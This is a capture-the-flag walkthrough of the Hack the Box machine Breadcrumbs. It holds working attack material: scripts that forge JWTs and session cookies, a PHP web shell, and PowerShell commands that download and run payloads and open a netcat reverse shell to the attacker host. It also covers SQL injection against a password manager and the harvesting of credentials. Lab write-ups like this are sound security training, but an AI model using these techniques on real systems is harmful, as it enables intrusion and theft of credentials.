Details
This machine is Breadcrumbs from Hack the Box
Recon
Nmap was running way too slowly, so I ran masscan instead
kali@kali:~$ sudo masscan -p0-65335,U:0-65335 --rate=1000 -i tun0 10.10.10.228
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2021-02-20 22:08:06 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [130672 ports/host]
Discovered open port 443/tcp on 10.10.10.228
Discovered open port 49666/tcp on 10.10.10.228
Discovered open port 139/tcp on 10.10.10.228
Discovered open port 49669/tcp on 10.10.10.228
Discovered open port 49665/tcp on 10.10.10.228
Discovered open port 49667/tcp on 10.10.10.228
Discovered open port 49668/tcp on 10.10.10.228
Discovered open port 22/tcp on 10.10.10.228
Discovered open port 3306/tcp on 10.10.10.228
Discovered open port 445/tcp on 10.10.10.228
Discovered open port 7680/tcp on 10.10.10.228
Discovered open port 5040/tcp on 10.10.10.228
Discovered open port 135/tcp on 10.10.10.228
Discovered open port 49664/tcp on 10.10.10.228
Discovered open port 80/tcp on 10.10.10.228
Then nmap on those specific ports
kali@kali:~$ nmap -sV -p443,49666,139,49669,49665,49667,49668,22,3306,445,7680,5040,135,49664,80 10.10.10.228
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-20 22:15 GMT
Nmap scan report for 10.10.10.228
Host is up (0.018s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
445/tcp open microsoft-ds?
3306/tcp open mysql?
5040/tcp open unknown
7680/tcp open pando-pub?
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.91%I=7%D=2/20%Time=603189F3%P=x86_64-pc-linux-gnu%r(NU
SF:LL,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.14\.9'\x20is\x20not\x20allowe
SF:d\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 165.11 seconds
User 1
I started by browsing to http://10.10.10.228/
Clicking "Check Books" took me to http://10.10.10.228/php/books.php
I tried searching a title of a
and an author of a
I clicked on "Book"
Then clicked "Yes"
This didn't seem very promising, so I went back to the search. Looking at the request in Burp
I tried changing the method
parameter to 1
This gave me a full file path of C:\Users\www-data\Desktop\xampp\htdocs\includes\bookController.php
So I tried the same process of intercepting requests for the book request
I can see this is using actual files, so I tried it again but with a directory traversal to do local file read (LFR). As the previous error was in the PHP file_get_contents
function, it wouldn't be full LFI
This worked and let me read the file, so I tried making the page read its own source code
The potentially useful line was
require '..\/db\/db.php'
So I read the db.php
"<?php\r\n\r\n$host=\"localhost\";\r\n$port=3306;\r\n$user=\"bread\";\r\n$password=\"jUli901\";\r\n$dbname=\"bread\";\r\n\r\n$con = new mysqli($host, $user, $password, $dbname, $port) or die ('Could not connect to the database server' . mysqli_connect_error());\r\n?>\r\n"
The database credentials were
bread : jUli901
I tried these against the expose MySQL server but the user was not allowed to login remotely. So I began further enumeration on the web server using dirbuster
The portal
endpoint redirected to /portal/login.php
The helper
link took me to /portal/php/admins.php
So John, Olivia and Paul are listed as currently being active. Next I started using the LFR to read source code, first, the login page
It makes use of authController.php
so I read that too
"<?php
require 'db\/db.php';
require \"cookie.php\";
require \"vendor\/autoload.php\";
use \\Firebase\\JWT\\JWT;
$errors = array();
$username = \"\";
$userdata = array();
$valid = false;
$IP = $_SERVER['REMOTE_ADDR'];
\/\/if user clicks on login
if($_SERVER['REQUEST_METHOD'] === \"POST\"){
if($_POST['method'] == 0){
$username = $_POST['username'];
$password = $_POST['password'];
$query = \"SELECT username,position FROM users WHERE username=? LIMIT 1\";
$stmt = $con->prepare($query);
$stmt->bind_param('s', $username);
$stmt->execute();
$result = $stmt->get_result();
while ($row = $result->fetch_array(MYSQLI_ASSOC)){
array_push($userdata, $row);
}
$userCount = $result->num_rows;
$stmt->close();
if($userCount > 0){
$password = sha1($password);
$passwordQuery = \"SELECT * FROM users WHERE password=? AND username=? LIMIT 1\";
$stmt = $con->prepare($passwordQuery);
$stmt->bind_param('ss', $password, $username);
$stmt->execute();
$result = $stmt->get_result();
if($result->num_rows > 0){
$valid = true;
}
$stmt->close();
}
if($valid){
session_id(makesession($username));
session_start();
$secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';
$data = array();
$payload = array(
\"data\" => array(
\"username\" => $username
));
$jwt = JWT::encode($payload, $secret_key, 'HS256');
setcookie(\"token\", $jwt, time() + (86400 * 30), \"\/\");
$_SESSION['username'] = $username;
$_SESSION['loggedIn'] = true;
if($userdata[0]['position'] == \"\"){
$_SESSION['role'] = \"Awaiting approval\";
}
else{
$_SESSION['role'] = $userdata[0]['position'];
}
header(\"Location: \/portal\");
}
else{
$_SESSION['loggedIn'] = false;
$errors['valid'] = \"Username or Password incorrect\";
}
}
elseif($_POST['method'] == 1){
$username=$_POST['username'];
$password=$_POST['password'];
$passwordConf=$_POST['passwordConf'];
if(empty($username)){
$errors['username'] = \"Username Required\";
}
if(strlen($username) < 4){
$errors['username'] = \"Username must be at least 4 characters long\";
}
if(empty($password)){
$errors['password'] = \"Password Required\";
}
if($password !== $passwordConf){
$errors['passwordConf'] = \"Passwords don't match!\";
}
$userQuery = \"SELECT * FROM users WHERE username=? LIMIT 1\";
$stmt = $con->prepare($userQuery);
$stmt ->bind_param('s',$username);
$stmt->execute();
$result = $stmt->get_result();
$userCount = $result->num_rows;
$stmt->close();
if($userCount > 0){
$errors['username'] = \"Username already exists\";
}
if(count($errors) === 0){
$password = sha1($password);
$sql = \"INSERT INTO users(username, password, age, position) VALUES (?,?, 0, '')\";
$stmt = $con->prepare($sql);
$stmt ->bind_param('ss', $username, $password);
if ($stmt->execute()){
$user_id = $con->insert_id;
header('Location: login.php');
}
else{
$_SESSION['loggedIn'] = false;
$errors['db_error']=\"Database error: failed to register\";
}
}
}
}"
So JWTs are in use, with the following format
data {
username: "<username>"
}
They use HS256 and the following secret
6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e
So I should be able to forge these now. They also use session cookies, the details seem to be in cookie.php
so I read that
<?php
\/**
* @param string $username Username requesting session cookie
*
* @return string $session_cookie Returns the generated cookie
*
* @devteam
* Please DO NOT use default PHPSESSID; our security team says they are predictable.
* CHANGE SECOND PART OF MD5 KEY EVERY WEEK
* *\/
function makesession($username){
$max = strlen($username) - 1;
$seed = rand(0, $max);
$key = \"s4lTy_stR1nG_\".$username[$seed].\"(!528.\/9890\";
$session_cookie = $username.md5($key);
return $session_cookie;
}"
So the session cookie is the username concatenated with a key. The key is generated as the MD5 hash of a string. This string is s4lTy_stR1nG_
concatenated with a random character of the username, and (!528./9890
. The random part of this is likely to be a small keyspace, as usernames are likely not very long. So I wrote a php script to generate these possible cookies. Assuming I knew the right username
<?php
$username = $argv[1];
$max = strlen($username) - 1;
for($seed = 0; $seed <= $max; $seed++) {
$key = "s4lTy_stR1nG_".$username[$seed]."(!528./9890";
$session_cookie = $username.md5($key);
print($session_cookie . "\n");
}
I would also need to forge a JWT for the user if I could get a valid session token for them, so I wrote a Python script to generate the JWT
import jwt
import sys
USERNAME = sys.argv[1]
SECRET = "6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e";
build = {
"data": {
"username": USERNAME
}
}
encoded_jwt = jwt.encode(build, SECRET, algorithm="HS256")
print(encoded_jwt)
I needed a valid username, looking back at a dirbust I ran against /portal.php
I found files.php
So I read that file
The PHP part was
<?php session_start();
$LOGGED_IN = false;
if($_SESSION['username'] !== "paul"){
header("Location: ..\/index.php");
}
if(isset($_SESSION['loggedIn'])){
$LOGGED_IN = true;
require '..\/db\/db.php';
}
else{
header("Location: ..\/auth\/login.php");
die();
}
?>
This gave me a username of "paul" which was also one of the active "helpers" from before
So I generated a JWT for paul
kali@kali:~$ python3 jwt_builder.py paul
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU
Then all possible session tokens
kali@kali:~$ php -f sessions.php paul
paula2a6a014d3bee04d7df8d5837d62e8c5
paul61ff9d4aaefe6bdf45681678ba89ff9d
paul8c8808867b53c49777fe5559164708c3
paul47200b180ccd6835d25d034eeb6e6390
I began testing the cookies
When I tested
paul47200b180ccd6835d25d034eeb6e6390
It worked, so I updated my cookie in my browser with a cookie modifier browser extension and browsed to /portal/php/files.php
So it looks like I can upload files. In the page source code I found
So I looked at the source of this JS
So this is sending files to fileControlled.php
, I read that
<?php
$ret = "";
require "../vendor/autoload.php";
use \Firebase\JWT\JWT;
session_start();
function validate(){
$ret = false;
$jwt = $_COOKIE['token'];
$secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';
$ret = JWT::decode($jwt, $secret_key, array('HS256'));
return $ret;
}
if($_SERVER['REQUEST_METHOD'] === "POST"){
$admins = array("paul");
$user = validate()->data->username;
if(in_array($user, $admins) && $_SESSION['username'] == "paul"){
error_reporting(E_ALL & ~E_NOTICE);
$uploads_dir = '../uploads';
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_POST['task'];
if(move_uploaded_file($tmp_name, "$uploads_dir/$name")){
$ret = "Success. Have a great weekend!";
}
else{
$ret = "Missing file or title :(" ;
}
}
else{
$ret = "Insufficient privileges. Contact admin or developer to upload code. Note: If you recently registered, please wait for one of our admins to approve it.";
}
echo $ret;
}
So it checks we have a valid session, our JWT is for an admin, and our username in the session is paul
. We already meet these criteria. I tried uploading php a file with the following content
<?php system($_GET['c']) ?>
It didn't quite work how I expected, so I tried changing the a.zip
to jirbj.php
Which resulted in
It looks like the temp file got deleted, maybe AV didn't like it? So I tried a phpinfo payload instead
And browsed to http://10.10.10.228/portal/uploads/info.php
That worked, so I tried a modified version of my PHP shell
<?php $c = $_GET['jirbj']; system($c) ?>
And browsed to http://10.10.10.228/portal/uploads/jirbj.php?jirbj=whoami
This version worked, so I set a listener
kali@kali:~$ nc -nlvp 443
I then exposed a PowerShell reverse shell on a Python web server and executed the following command with my web shell to download and execute it
powershell -c Invoke-Expression(Invoke-WebRequest -Uri http://10.10.14.9/power.ps1 -UseBasicParsing)
But now shell arrived, it likely got blocked by AMSI, I instead exposed nc64.exe
on my web server and used the following command to download it
powershell -c Invoke-WebRequest -Uri http://10.10.14.9/nc.exe -UseBasicParsing -OutFile .\a.exe
Then a second request to execute it
.\a.exe 10.10.14.9 443 -e powershell.exe 2>&1
back in my listener
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\Users\www-data\Desktop\xampp\htdocs\portal\uploads>
But there was no user flag for me, so I still had some work to do
User 2
This bit was much easier than the initial access, digging into the files on the server, I found
PS C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData> Get-ChildItem
Get-ChildItem
Directory: C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/28/2020 1:48 AM 170 alex.disabled
-a---- 11/28/2020 1:48 AM 170 emma.disabled
-a---- 11/28/2020 1:48 AM 170 jack.disabled
-a---- 11/28/2020 1:48 AM 170 john.disabled
-a---- 1/17/2021 3:11 PM 192 juliette.json
-a---- 11/28/2020 1:48 AM 170 lucas.disabled
-a---- 11/28/2020 1:48 AM 170 olivia.disabled
-a---- 11/28/2020 1:48 AM 170 paul.disabled
-a---- 11/28/2020 1:48 AM 170 sirine.disabled
-a---- 11/28/2020 1:48 AM 170 william.disabled
The one for juliette contained
PS C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData> Get-Content juliette.json
Get-Content juliette.json
{
"pizza" : "margherita",
"size" : "large",
"drink" : "water",
"card" : "VISA",
"PIN" : "9890",
"alternate" : {
"username" : "juliette",
"password" : "jUli901./())!",
}
}
So I tried these creds on SSH
ssh juliette@10.10.10.228
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.
juliette@BREADCRUMBS C:\Users\juliette>
# dropped into powershell
# juliette@BREADCRUMBS C:\Users\juliette>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\Users\juliette>
And this time there was a flag
PS C:\Users\juliette\Desktop> Get-ChildItem
Directory: C:\Users\juliette\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 12/9/2020 6:27 AM 753 todo.html
-ar--- 2/20/2021 4:20 PM 34 user.txt
PS C:\Users\juliette\Desktop> Get-Content .\user.txt
[REDACTED]
User 3
Now I needed to get SYSTEM or Admin level access. There was a todo document on the desktop, so I took a look in it
PS C:\Users\juliette\Desktop> Get-Content .\todo.html
<html>
<style>
html{
background:black;
color:orange;
}
table,th,td{
border:1px solid orange;
padding:1em;
border-collapse:collapse;
}
</style>
<table>
<tr>
<th>Task</th>
<th>Status</th>
<th>Reason</th>
</tr>
<tr>
<td>Configure firewall for port 22 and 445</td>
<td>Not started</td>
<td>Unauthorized access might be possible</td>
</tr>
<tr>
<td>Migrate passwords from the Microsoft Store Sticky Notes application to our new password m
anager</td>
<td>In progress</td>
<td>It stores passwords in plain text</td>
</tr>
<tr>
<td>Add new features to password manager</td>
<td>Not started</td>
<td>To get promoted, hopefully lol</td>
</tr>
</table>
</html>
So it implies there are passwords in plaintext in sticky notes, and I might be able to access SMB shares
kali@kali:~$ smbmap -H 10.10.10.228 -u juliette -p 'jUli901./())!'
[+] IP: 10.10.10.228:445 Name: breadcrumbs.htb
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
Anouncements READ ONLY
C$ NO ACCESS Default share
Development NO ACCESS
IPC$ READ ONLY Remote IPC
So I accessed the Anouncements share
mbclient //10.10.10.228/Anouncements -U juliette
Enter WORKGROUP\juliette's password:
Try "help" to get a list of possible commands.
smb: \>
# smb: \> dir
. D 0 Sat Jan 16 00:03:48 2021
.. D 0 Sat Jan 16 00:03:48 2021
main.txt A 306 Sat Jan 16 00:06:10 2021
5082961 blocks of size 4096. 1543384 blocks available
Grabbed and read the file
smb: \> get main.txt
getting file \main.txt of size 306 as main.txt (4.3 KiloBytes/sec) (average 4.3 KiloBytes/sec)
kali@kali:~$ cat main.txt
Rabbit Stew Celebration
To celebrate the new library startup, a lunch will be held this upcoming Friday at 1 PM.
Location: Room 201 block B
Food: Rabbit Stew
Hole Construction
Please DO NOT park behind the contruction workers fixing the hole behind block A.
Multiple complaints have been made.
This seemed unhelpful, but maybe i'll need it later? Instead I started looking at the sticky notes
PS C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState> Get-ChildItem
Directory: C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/15/2021 4:10 PM 20480 15cbbc93e90a4d56bf8d9a29305b8981.storage.session
-a---- 11/29/2020 3:10 AM 4096 plum.sqlite
-a---- 1/15/2021 4:10 PM 32768 plum.sqlite-shm
-a---- 1/15/2021 4:10 PM 329632 plum.sqlite-wal
The sqlite file is most likely to have what I want
PS C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState> Get-Content plum.sqlite-wal
[SNIP]
☺♫¹♫¹☺Ã◄‚# UU♠♠\id=48c70e58-fcf9-475a-aea4-24ce19a9f9ec juliette: jUli901./())!
\id=fc0d8d70-055d-4870-a5de-d76943a‚D☺¶ƒ◄- UU♠♠\id=48c70e58-fcf9-475a-aea4-24ce19a9f9ec juliette: jUli901./())!
\id=fc0d8d70-055d-4870-a5de-d76943a68ea2 development: fN3)sN5Ee@g
\id=48924119-7212-4b01-9e0f-ae6d678d49b2 administrator: [MOVED]ManagedPosition=Yellow0c32c3d8-7c60-48ae-939e-798df198cfe78e814e57-
9d28-4288-961c-31c806338c5Ø”ýDBjØ”ýPR
So the password for Administrator has been moved, but the one for development is there, so I tried it on ssh
kali@kali:~$ ssh development@10.10.10.228
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.
development@BREADCRUMBS C:\Users\development>
SYSTEM
I re-ran the SMB enum with these creds
kali@kali:~$ smbmap -H 10.10.10.228 -u development -p 'fN3)sN5Ee@g'
[+] IP: 10.10.10.228:445 Name: breadcrumbs.htb
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
Anouncements READ ONLY
C$ NO ACCESS Default share
Development READ ONLY
IPC$ READ ONLY Remote IPC
I can access the Development share now
smbclient //10.10.10.228/Development -U development
Enter WORKGROUP\development's password:
Try "help" to get a list of possible commands.
smb: \>
# smb: \> dir
. D 0 Sat Jan 16 00:03:49 2021
.. D 0 Sat Jan 16 00:03:49 2021
Krypter_Linux A 18312 Sun Nov 29 11:11:56 2020
5082961 blocks of size 4096. 1541527 blocks available
So I grabbed this file, it may be that password manager referenced earlier
smb: \> get Krypter_Linux
getting file \Krypter_Linux of size 18312 as Krypter_Linux (60.4 KiloBytes/sec) (average 60.4 KiloBytes/sec)
kali@kali:~$ file Krypter_Linux
Krypter_Linux: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ab1fa8d6929805501e1793c8b4ddec5c127c6a12, for GNU/Linux 3.2.0, not stripped
So it is a linux executable, not stripped luckily, so I fired up Ghidra
The important bit seemed to be
curl_easy_setopt(local_28,0x2712,"http://passmanager.htb:1234/index.php");
curl_easy_setopt(local_28,0x271f,"method=select&username=administrator&table=passwords");
curl_easy_setopt(local_28,0x4e2b,WriteCallback);
curl_easy_setopt(local_28,0x2711,local_58);
So I checked ports on the machine
PS C:\Development> netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
[SNIP]
TCP 127.0.0.1:1234 0.0.0.0:0 LISTENING 2880
[SNIP]
1234
was open, so it was likely the password manager was there. I made the request myself
PS C:\Development> Invoke-WebRequest -Uri http://127.0.0.1:1234/index.php -Body 'method=select&username=administrator&table=passwords' -Method 'POST' -UseBasicParsing -UseBasicParsing
StatusCode : 200
StatusDescription : OK
Content : selectarray(1) {
[0]=>
array(1) {
["aes_key"]=>
string(16) "k19D193j.<19391("
}
}
RawContent : HTTP/1.1 200 OK
Content-Length: 96
Content-Type: text/html; charset=UTF-8
Date: Sun, 21 Feb 2021 13:08:39 GMT
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
X-Powered-By: PHP/8.0.1
sel...
Forms :
Headers : {[Content-Length, 96], [Content-Type, text/html; charset=UTF-8], [Date, Sun, 21 Feb
2021 13:08:39 GMT], [Server, Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1]...}
Images : {}
InputFields : {}
Links : {}
ParsedHtml :
RawContentLength : 96
This got me an AES key, but nothing to decrypt. A bit of digging later and I found this was vulnerable to SQL injection
PS C:\Development> (Invoke-WebRequest -Uri http://127.0.0.1:1234/index.php -Body "method=select&username=a' or '1'='1&table=passwords" -Method 'POST' -UseBasicParsing).content
selectarray(1) {
[0]=>
array(1) {
["aes_key"]=>
string(16) "k19D193j.<19391("
}
}
PS C:\Development> (Invoke-WebRequest -Uri http://127.0.0.1:1234/index.php -Body "method=select&username=a' union select 1 where '1'='1&table=passwords" -Method 'POST' -UseBasicParsing).content
selectarray(1) {
[0]=>
array(1) {
["aes_key"]=>
string(1) "1"
}
}
So I tried to get the password itself
PS C:\Development> (Invoke-WebRequest -Uri http://127.0.0.1:1234/index.php -Body "method=select&username=a' union select password from passwords where '1'='1&table=passwords" -Method 'POST' -UseBasicParsing)
.content
selectarray(1) {
[0]=>
array(1) {
["aes_key"]=>
string(44) "H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw="
}
}
I then tried to find the IV for the AES, as I already had the key. For the life of me I couldn't find one. But eventually I tried a null IV
This gave me a password of
p@ssw0rd!@#$9890./
Which I tried on ssh
kali@kali:~$ ssh Administrator@10.10.10.228
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.
administrator@BREADCRUMBS C:\Users\Administrator>
And grab the flag
PS C:\Users\Administrator\Desktop> Get-ChildItem
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/15/2021 4:03 PM passwordManager
-ar--- 2/21/2021 4:48 AM 34 root.txt
PS C:\Users\Administrator\Desktop> Get-Content .\root.txt
[REDACTED]